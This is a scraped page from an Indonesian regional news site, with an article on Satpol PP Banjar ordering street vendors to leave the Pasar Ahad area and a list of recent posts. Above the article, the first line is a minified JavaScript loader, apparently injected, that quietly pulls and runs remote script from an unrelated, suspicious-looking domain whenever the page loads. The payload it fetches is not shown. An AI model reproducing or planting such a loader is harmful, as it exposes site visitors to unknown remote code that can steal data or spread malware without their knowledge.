(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Satpol PP Banjar Terbitkan Surat Himbauan Kepada PKL di Lingkungan Pasar Ahad


MARTAPURA, Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar edarkan surat imbauan berdagang kepada Pedangan Kaki Lima (PKL) di lingkungan Pasar Ahad, Jl Pemurus Kertak Hanyar Km 7 Kabupaten Banjar, Jumat (1/2). Surat edaran ini berdasarkan protes sebelumnya yang dilakukan oleh para pedagang di lantai dua Pasar Ahad yang tidak menyetujui kehadiran pasar liar di sekitar lokasi usaha mereka. Mengingat pasar liar itu dianggap ‘menyaingi’ dan bertengger di lingkungan pasar sepanjang jalan Pemurus Kertak Hanyar.

Kehadiran PKL dianggap berdampak terhadap menurunnya omset pedagang resmi. Mengingat banyak konsumen yang lebih memilih berbelanja ke pasar liar jalan Pemurus ketimbang ke Pasar Ahad.

Kabid Tantribum Satpol PP Banjar, Asian Bandani mengatakan, terhitung sejak Senin (4/2) para pedagang PKL sudah tidak diperkenankan lagi berada di sana. Apabila masih dijumpai, Satpol PP Banjar akan langsung bertindak tegas.

“Pada hari ini Jumat (1/2) kita sudah bagikan surat himbauan kepada para PKL yang berada di lingkungan Pasar Ahad, jalan Pemurus Kertak Hanyar agar tidak berjualan lagi disana. Senin (4/2) kembali akan kita monitor, apabila masih ada PKL akan kita angkut,” tegasnya.

Kabid Tantribum Satpol PP Banjar, Asian Bandani

Sementara untuk para PKL yang berjualan dihalaman rumah, Asian mengatakan itu bukan bagian dari kewenangan Satpol PP Banjar mengingat yang lebih berwenang disitu adalah Dinas Perindustrian dan Perdagangan (Disperndag) Kabupaten Banjar.

“Kami hanya menertipkan pedagang PKL yang ada di jalan Pemurus Kertak Hanyar untuk yang berada dihalaman rumah warga itu kewenangannya Disperindag Banjar untuk melakukan pembinaan,” jelasnya.

Asian memprediksi hingga sekarang ada sebanyak 20 pedagang yang berjualan di jalan Pemurus Kertak Hanyar Km 7 Kabupaten Banjar. Untuk menghindari hal serupa setelah ditertibkan pihaknya Satpol PP Banjar kedepan akan mewacanakan untuk berkordinasi dan mencari solusi dengan pihak terkait yang meliputi pihak PD Pasar Bauntung Batuah, Disperindag banjar, Satpol PP, Hihak Kecamatan, dan Dinas Lingkungan Hidup.

“Untuk menghidari kejadian serupa kehadiran PKL dilingukan Pasar tersebut kita akan mengusulakan untuk duduk berkordinasi bersama dengan beberapa pihak terkait mencari solusi yang tepat dengandi kordinir oleh PD Pasar itu sendiri,”pungkasnya. (rendy).

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

14 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

17 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

20 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

21 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

21 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

23 jam ago

This website uses cookies.